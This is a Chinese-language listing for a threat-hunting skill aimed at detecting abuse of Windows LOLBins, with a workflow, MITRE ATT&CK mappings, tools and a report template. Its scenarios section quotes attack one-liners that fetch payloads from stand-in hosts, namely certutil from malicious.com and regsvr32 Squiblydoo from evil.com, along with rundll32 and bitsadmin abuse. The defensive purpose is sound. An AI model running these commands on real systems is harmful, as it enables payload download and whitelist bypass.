关于 hunting-for-living-off-the-land-binaries
面向安全分析师的结构化威胁狩猎技能,用于调查合法 Windows 二进制文件遭滥用的情况。流程涵盖提出假设、检查遥测、关联异常与报告结果。
主要功能
- 01基于假设的狩猎流程
- 02选择 LOLBAS 二进制文件
- 03建立进程遥测基线
- 04关联异常与事件
- 05生成结构化调查报告
适用场景
- 01调查无文件恶意软件活动
- 02检查 EDR 告警中的异常子进程
- 03狩猎威胁情报指出的 LOLBin 滥用
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill hunting-for-living-off-the-land-binaries安装后在 Claude Code 中输入/hunting-for-living-off-the-land-binaries确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
搜寻离地攻击二进制文件(LOLBins)
何时使用
- 调查绕过传统 AV 的无文件恶意软件攻击活动时
- 在针对防御规避技术的主动威胁搜寻期间
- 当 EDR 对合法二进制文件执行异常子进程发出告警时
- 在威胁情报报告表明活跃攻击活动中存在 LOLBin 滥用之后
- 在红队/紫队演练中验证 T1218 的检测覆盖范围期间
先决条件
- 可访问 EDR 遥测数据(CrowdStrike、Microsoft Defender for Endpoint、SentinelOne)
- 具备进程创建日志的 SIEM(Sysmon 事件 ID 1、Windows 安全 4688)
- 熟悉 LOLBAS Project(lolbas-project.github.io)参考列表
- 已启用 PowerShell 命令行日志记录(模块日志记录、脚本块日志记录)
- 具备网络代理或防火墙日志以关联出站连接
工作流
- 定义搜寻假设:根据威胁情报制定假设(例如,“攻击者正在使用 certutil.exe 从外部域下载第二阶段载荷”)。
- 确定目标 LOLBin:从 LOLBAS Project 数据库中选择要搜寻的特定二进制文件,优先考虑与当前威胁态势匹配的那些(certutil、mshta、rundll32、regsvr32、msiexec、wmic、cmstp、bitsadmin)。
- 收集进程遥测数据:在 EDR 或 SIEM 中查询涉及目标 LOLBin 且带有异常命令行参数、父进程或执行上下文的进程创建事件。
- 建立正常行为基线:通过分析历史频率、典型父进程和标准参数,确定环境中每个 LOLBin 的合法使用方式。
- 识别异常:将当前遥测数据与基线进行比较,标记带有网络连接、编码命令、异常文件路径或异常父子进程链的执行行为。
- 关联与丰富:将异常的 LOLBin 活动与网络日志、DNS 查询、文件创建事件和威胁情报源进行交叉引用。
- 记录与报告:记录发现,更新检测规则,并为已确认的恶意 LOLBin 使用创建 IOC 列表。
关键概念
| 概念 | 描述 |
|---|---|
| LOLBin | 被攻击者滥用于恶意目的的合法操作系统二进制文件 |
| LOLBAS Project | 社区维护的 Windows LOLBin、LOLLib 和 LOLScript 列表 |
| T1218 | MITRE ATT&CK - 签名二进制代理执行 |
| T1218.001 | 编译的 HTML 文件(mshta.exe) |
| T1218.002 | 控制面板(control.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 |
| T1218.011 | Rundll32 |
| T1197 | BITS 作业(bitsadmin.exe) |
| T1140 | 反混淆/解码文件(certutil.exe) |
| 代理执行 | 使用可信二进制文件执行不可信代码 |
| 无文件攻击 | 主要在内存在运行且不落地文件的攻击 |
工具与系统
| 工具 | 用途 |
|---|---|
| CrowdStrike Falcon | EDR 遥测和进程树分析 |
| Microsoft Defender for Endpoint | 使用 KQL 查询进行高级搜寻 |
| Splunk | SIEM 日志聚合和 SPL 查询 |
| Elastic Security | 检测规则和时间线调查 |
| Sysmon | 详细的进程创建和网络日志记录 |
| LOLBAS Project | LOLBin 能力的参考数据库 |
| Sigma Rules | 针对 LOLBin 的通用检测规则格式 |
| Velociraptor | 端点取证收集与搜寻 |
常见场景
- Certutil 下载载体:攻击者使用
certutil.exe -urlcache -split -f http://malicious.com/payload.exe下载恶意软件,绕过允许 certutil 流量的 Web 代理。 - Mshta HTA 执行:攻击者通过电子邮件投递 HTA 文件,该文件通过
mshta.exe执行 VBScript 载荷,而mshta.exe是已签名的 Microsoft 二进制文件。 - Rundll32 DLL 代理加载:通过
rundll32.exe shell32.dll,ShellExec_RunDLL加载恶意 DLL,以通过受信任的二进制文件代理执行。 - Regsvr32 Squiblydoo:通过
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll执行远程 SCT 文件,绕过应用程序白名单。 - BITSAdmin 持久化:攻击者创建 BITS 传输作业,使用
bitsadmin /transfer反复下载并执行载荷。
输出格式
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
- [Finding 1 with evidence]
- [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]
评论
支持 Markdown